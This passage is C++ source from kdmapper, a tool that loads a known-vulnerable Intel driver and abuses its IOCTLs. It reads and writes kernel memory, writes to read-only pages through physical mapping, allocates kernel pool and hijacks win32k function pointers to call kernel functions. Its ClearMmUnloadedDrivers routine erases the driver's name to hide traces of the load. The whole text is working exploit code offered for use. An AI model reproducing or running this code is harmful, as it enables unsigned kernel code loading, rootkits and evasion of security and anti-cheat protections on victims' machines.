imports) 132 | { 133 | for (const auto& current_import : imports) 134 | { 135 | if (!utils::GetKernelModuleAddress(current_import.module_name)) 136 | { 137 | std::cout << "[-] Dependency " << current_import.module_name << " wasn't found" << std::endl; 138 | return false; 139 | } 140 | 141 | for (auto& current_function_data : current_import.function_datas) 142 | { 143 | const uint64_t function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, utils::GetKernelModuleAddress(current_import.module_name), current_function_data.name); 144 | 145 | if (!function_address) 146 | { 147 | std::cout << "[-] Failed to resolve import " << current_function_data.name << " (" << current_import.module_name << ")" << std::endl; 148 | return false; 149 | } 150 | 151 | *current_function_data.address = function_address; 152 | } 153 | } 154 | 155 | return true; 156 | } 157 | 158 | void kdmapper::InitStackCookie(void* base) 159 | { 160 | const PIMAGE_NT_HEADERS64 nt_headers = RtlImageNtHeader(base); 161 | ULONG config_dir_size = 0; 162 | const PIMAGE_LOAD_CONFIG_DIRECTORY64 config_dir = static_cast( 163 | RtlImageDirectoryEntryToData(base, 164 | TRUE, 165 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG, 166 | &config_dir_size)); 167 | if (config_dir == nullptr || config_dir_size == 0) 168 | return; 169 | 170 | uint64_t cookie_va; 171 | if ((cookie_va = static_cast(config_dir->SecurityCookie)) == 0) 172 | return; 173 | cookie_va = cookie_va - nt_headers->OptionalHeader.ImageBase + reinterpret_cast(base); 174 | 175 | uint64_t cookie = SharedUserData->SystemTime.LowPart ^ cookie_va; 176 | cookie &= 0x0000FFFFFFFFFFFFi64; 177 | 178 | constexpr uint64_t default_security_cookie64 = 0x00002B992DDFA232ULL; 179 | if (static_cast(cookie) == default_security_cookie64) 180 | cookie++; 181 | 182 | // Guess the address of the complement (normally correct for MSVC-compiled binaries) 183 | uint64_t cookie_complement_va = cookie_va + sizeof(uint64_t); 184 | if (*reinterpret_cast(cookie_complement_va) != ~default_security_cookie64) 185 | { 186 | // Nope; try before the cookie instead 187 | cookie_complement_va = cookie_va - sizeof(uint64_t); 188 | if (*reinterpret_cast(cookie_complement_va) != ~default_security_cookie64) 189 | cookie_complement_va = 0; 190 | } 191 | 192 | *reinterpret_cast(cookie_va) = cookie; 193 | if (cookie_complement_va != 0) 194 | *reinterpret_cast(cookie_complement_va) = ~cookie; 195 | } 196 | -------------------------------------------------------------------------------- /kdmapper/kdmapper.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {518E0636-BA8F-459D-ACAC-81BD33475E3E} 24 | kdmapper 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | false 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | MultiByte 41 | false 42 | 43 | 44 | Application 45 | true 46 | v142 47 | MultiByte 48 | false 49 | 50 | 51 | Application 52 | false 53 | v142 54 | true 55 | MultiByte 56 | false 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | Level4 80 | true 81 | ProgramDatabase 82 | true 83 | Caret 84 | true 85 | true 86 | stdcpp17 87 | false 88 | true 89 | 90 | 91 | DebugFull 92 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 93 | 94 | 95 | 96 | 97 | Level4 98 | true 99 | stdcpp17 100 | true 101 | ProgramDatabase 102 | Caret 103 | true 104 | true 105 | false 106 | true 107 | 108 | 109 | DebugFull 110 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 111 | 112 | 113 | 114 | 115 | Level4 116 | MaxSpeed 117 | true 118 | true 119 | true 120 | true 121 | Caret 122 | true 123 | stdcpp17 124 | false 125 | true 126 | 127 | 128 | true 129 | true 130 | DebugFull 131 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 132 | 133 | 134 | 135 | 136 | Level4 137 | MaxSpeed 138 | true 139 | true 140 | true 141 | true 142 | stdcpp17 143 | Caret 144 | true 145 | false 146 | true 147 | 148 | 149 | true 150 | true 151 | DebugFull 152 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | -------------------------------------------------------------------------------- /kdmapper/intel_driver.cpp: -------------------------------------------------------------------------------- 1 | #include "intel_driver.hpp" 2 | 3 | bool intel_driver::IsRunning() 4 | { 5 | const HANDLE file_handle = CreateFileW(L"\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); 6 | if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE) 7 | { 8 | CloseHandle(file_handle); 9 | return true; 10 | } 11 | return false; 12 | } 13 | 14 | HANDLE intel_driver::Load() 15 | { 16 | std::cout << "[<] Loading vulnerable driver" << std::endl; 17 | 18 | char temp_directory[MAX_PATH] = { 0 }; 19 | const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory); 20 | 21 | if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH) 22 | { 23 | std::cout << "[-] Failed to get temp path" << std::endl; 24 | return nullptr; 25 | } 26 | 27 | const std::string driver_path = std::string(temp_directory) + "\\" + driver_name; 28 | std::remove(driver_path.c_str()); 29 | 30 | if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) 31 | { 32 | std::cout << "[-] Failed to create vulnerable driver file" << std::endl; 33 | return nullptr; 34 | } 35 | 36 | if (!service::RegisterAndStart(driver_path)) 37 | { 38 | std::cout << "[-] Failed to register and start service for the vulnerable driver" << std::endl; 39 | std::remove(driver_path.c_str()); 40 | return nullptr; 41 | } 42 | 43 | return CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 44 | } 45 | 46 | void intel_driver::Unload(HANDLE device_handle) 47 | { 48 | std::cout << "[<] Unloading vulnerable driver" << std::endl; 49 | 50 | ClearMmUnloadedDrivers(device_handle); 51 | CloseHandle(device_handle); 52 | 53 | service::StopAndRemove(driver_name); 54 | 55 | char temp_directory[MAX_PATH] = { 0 }; 56 | 57 | const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory); 58 | const std::string driver_path = std::string(temp_directory) + "\\" + driver_name; 59 | 60 | std::remove(driver_path.c_str()); 61 | } 62 | 63 | bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) 64 | { 65 | if (!destination || !source || !size) 66 | return 0; 67 | 68 | COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; 69 | 70 | copy_memory_buffer.case_number = 0x33; 71 | copy_memory_buffer.source = source; 72 | copy_memory_buffer.destination = destination; 73 | copy_memory_buffer.length = size; 74 | 75 | DWORD bytes_returned = 0; 76 | return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); 77 | } 78 | 79 | bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) 80 | { 81 | if (!address || !size) 82 | return 0; 83 | 84 | FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; 85 | 86 | fill_memory_buffer.case_number = 0x30; 87 | fill_memory_buffer.destination = address; 88 | fill_memory_buffer.value = value; 89 | fill_memory_buffer.length = size; 90 | 91 | DWORD bytes_returned = 0; 92 | return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); 93 | } 94 | 95 | bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t * out_physical_address) 96 | { 97 | if (!address) 98 | return 0; 99 | 100 | GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; 101 | 102 | get_phys_address_buffer.case_number = 0x25; 103 | get_phys_address_buffer.address_to_translate = address; 104 | 105 | DWORD bytes_returned = 0; 106 | 107 | if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) 108 | return false; 109 | 110 | *out_physical_address = get_phys_address_buffer.return_physical_address; 111 | return true; 112 | } 113 | 114 | uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) 115 | { 116 | if (!physical_address || !size) 117 | return 0; 118 | 119 | MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; 120 | 121 | map_io_space_buffer.case_number = 0x19; 122 | map_io_space_buffer.physical_address_to_map = physical_address; 123 | map_io_space_buffer.size = size; 124 | 125 | DWORD bytes_returned = 0; 126 | 127 | if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) 128 | return 0; 129 | 130 | return map_io_space_buffer.return_virtual_address; 131 | } 132 | 133 | bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) 134 | { 135 | if (!address || !size) 136 | return false; 137 | 138 | UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; 139 | 140 | unmap_io_space_buffer.case_number = 0x1A; 141 | unmap_io_space_buffer.virt_address = address; 142 | unmap_io_space_buffer.number_of_bytes = size; 143 | 144 | DWORD bytes_returned = 0; 145 | 146 | return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); 147 | } 148 | 149 | bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) 150 | { 151 | return MemCopy(device_handle, reinterpret_cast(buffer), address, size); 152 | } 153 | 154 | bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) 155 | { 156 | return MemCopy(device_handle, address, reinterpret_cast(buffer), size); 157 | } 158 | 159 | bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) 160 | { 161 | if (!address || !buffer || !size) 162 | return false; 163 | 164 | uint64_t physical_address = 0; 165 | 166 | if (!GetPhysicalAddress(device_handle, address, &physical_address)) 167 | { 168 | std::cout << "[-] Failed to translate virtual address 0x" << reinterpret_cast(address) << std::endl; 169 | return false; 170 | } 171 | 172 | const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size); 173 | 174 | if (!mapped_physical_memory) 175 | { 176 | std::cout << "[-] Failed to map IO space of 0x" << reinterpret_cast(physical_address) << std::endl; 177 | return false; 178 | } 179 | 180 | bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size); 181 | 182 | if (!UnmapIoSpace(device_handle, mapped_physical_memory, size)) 183 | std::cout << "[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast(physical_address) << std::endl; 184 | 185 | return result; 186 | } 187 | 188 | uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) 189 | { 190 | if (!size) 191 | return 0; 192 | 193 | static uint64_t kernel_ExAllocatePool = 0; 194 | 195 | if (!kernel_ExAllocatePool) 196 | kernel_ExAllocatePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePool"); 197 | 198 | uint64_t allocated_pool = 0; 199 | 200 | if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size)) 201 | return 0; 202 | 203 | return allocated_pool; 204 | } 205 | 206 | bool intel_driver::FreePool(HANDLE device_handle, uint64_t address) 207 | { 208 | if (!address) 209 | return 0; 210 | 211 | static uint64_t kernel_ExFreePool = 0; 212 | 213 | if (!kernel_ExFreePool) 214 | kernel_ExFreePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool"); 215 | 216 | return CallKernelFunction(device_handle, nullptr, kernel_ExFreePool, address); 217 | } 218 | 219 | uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string & function_name) 220 | { 221 | if (!kernel_module_base) 222 | return 0; 223 | 224 | IMAGE_DOS_HEADER dos_header = { 0 }; 225 | IMAGE_NT_HEADERS64 nt_headers = { 0 }; 226 | 227 | if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE || 228 | !ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE) 229 | return 0; 230 | 231 | const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 232 | const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 233 | 234 | if (!export_base || !export_base_size) 235 | return 0; 236 | 237 | const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 238 | 239 | if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size)) 240 | { 241 | VirtualFree(export_data, 0, MEM_RELEASE); 242 | return 0; 243 | } 244 | 245 | const auto delta = reinterpret_cast(export_data) - export_base; 246 | 247 | const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta); 248 | const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); 249 | const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta); 250 | 251 | for (auto i = 0u; i < export_data->NumberOfNames; ++i) 252 | { 253 | const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta)); 254 | 255 | if (!_stricmp(current_function_name.c_str(), function_name.c_str())) 256 | { 257 | const auto function_ordinal = ordinal_table[i]; 258 | const auto function_address = kernel_module_base + function_table[function_ordinal]; 259 | 260 | if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) 261 | { 262 | VirtualFree(export_data, 0, MEM_RELEASE); 263 | return 0; // No forwarded exports on 64bit? 264 | } 265 | 266 | VirtualFree(export_data, 0, MEM_RELEASE); 267 | return function_address; 268 | } 269 | } 270 | 271 | VirtualFree(export_data, 0, MEM_RELEASE); 272 | return 0; 273 | } 274 | 275 | bool intel_driver::GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t * out_kernel_function_ptr, uint64_t * out_kernel_original_function_address) 276 | { 277 | // 488b05650e1400 mov rax, qword ptr [rip+offset] 278 | // ff150f211600 call cs:__guard_dispatch_icall_fptr 279 | 280 | static uint64_t kernel_function_ptr = 0; 281 | static uint64_t kernel_original_function_address = 0; 282 | 283 | if (!kernel_function_ptr || !kernel_original_function_address) 284 | { 285 | const uint64_t kernel_NtGdiDdDDIReclaimAllocations2 = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("win32kbase.sys"), "NtGdiDdDDIReclaimAllocations2"); 286 | 287 | if (!kernel_NtGdiDdDDIReclaimAllocations2) 288 | { 289 | std::cout << "[-] Failed to get export win32kbase.NtGdiDdDDIReclaimAllocations2" << std::endl; 290 | return false; 291 | } 292 | 293 | const uint64_t kernel_function_ptr_offset_address = kernel_NtGdiDdDDIReclaimAllocations2 + 0x7; 294 | int32_t function_ptr_offset = 0; // offset is a SIGNED integer 295 | 296 | if (!ReadMemory(device_handle, kernel_function_ptr_offset_address, &function_ptr_offset, sizeof(function_ptr_offset))) 297 | return false; 298 | 299 | kernel_function_ptr = kernel_NtGdiDdDDIReclaimAllocations2 + 0xB + function_ptr_offset; 300 | 301 | if (!ReadMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address))) 302 | return false; 303 | } 304 | 305 | *out_kernel_function_ptr = kernel_function_ptr; 306 | *out_kernel_original_function_address = kernel_original_function_address; 307 | 308 | return true; 309 | } 310 | 311 | bool intel_driver::GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t * out_kernel_function_ptr, uint8_t * out_kernel_original_bytes) 312 | { 313 | // 48ff2551d81f00 jmp cs:__imp_NtGdiGetCOPPCompatibleOPMInformation 314 | // cccccccccc padding 315 | 316 | static uint64_t kernel_function_ptr = 0; 317 | static uint8_t kernel_original_jmp_bytes[12] = { 0 }; 318 | 319 | if (!kernel_function_ptr || kernel_original_jmp_bytes[0] == 0) 320 | { 321 | const uint64_t kernel_NtGdiGetCOPPCompatibleOPMInformation = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("win32kfull.sys"), "NtGdiGetCOPPCompatibleOPMInformation"); 322 | 323 | if (!kernel_NtGdiGetCOPPCompatibleOPMInformation) 324 | { 325 | std::cout << "[-] Failed to get export win32kfull.NtGdiGetCOPPCompatibleOPMInformation" << std::endl; 326 | return false; 327 | } 328 | 329 | kernel_function_ptr = kernel_NtGdiGetCOPPCompatibleOPMInformation; 330 | 331 | if (!ReadMemory(device_handle, kernel_function_ptr, kernel_original_jmp_bytes, sizeof(kernel_original_jmp_bytes))) 332 | return false; 333 | } 334 | 335 | *out_kernel_function_ptr = kernel_function_ptr; 336 | memcpy(out_kernel_original_bytes, kernel_original_jmp_bytes, sizeof(kernel_original_jmp_bytes)); 337 | 338 | return true; 339 | } 340 | 341 | bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) 342 | { 343 | ULONG buffer_size = 0; 344 | void* buffer = nullptr; 345 | 346 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); 347 | 348 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH) 349 | { 350 | VirtualFree(buffer, 0, MEM_RELEASE); 351 | 352 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 353 | status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); 354 | } 355 | 356 | if (!NT_SUCCESS(status)) 357 | { 358 | VirtualFree(buffer, 0, MEM_RELEASE); 359 | return false; 360 | } 361 | 362 | uint64_t object = 0; 363 | 364 | auto system_handle_inforamtion = static_cast(buffer); 365 | 366 | for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) 367 | { 368 | const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; 369 | 370 | if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) 371 | continue; 372 | 373 | if (current_system_handle.HandleValue == device_handle) 374 | { 375 | object = reinterpret_cast(current_system_handle.Object); 376 | break; 377 | } 378 | } 379 | 380 | VirtualFree(buffer, 0, MEM_RELEASE); 381 | 382 | if (!object) 383 | return false; 384 | 385 | uint64_t device_object = 0; 386 | 387 | if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object))) 388 | return false; 389 | 390 | uint64_t driver_object = 0; 391 | 392 | if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object))) 393 | return false; 394 | 395 | uint64_t driver_section = 0; 396 | 397 | if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section))) 398 | return false; 399 | 400 | UNICODE_STRING us_driver_base_dll_name = { 0 }; 401 | 402 | if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) 403 | return false; 404 | 405 | us_driver_base_dll_name.Length = 0; 406 | 407 | if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) 408 | return false; 409 | 410 | return true; 411 | } --------------------------------------------------------------------------------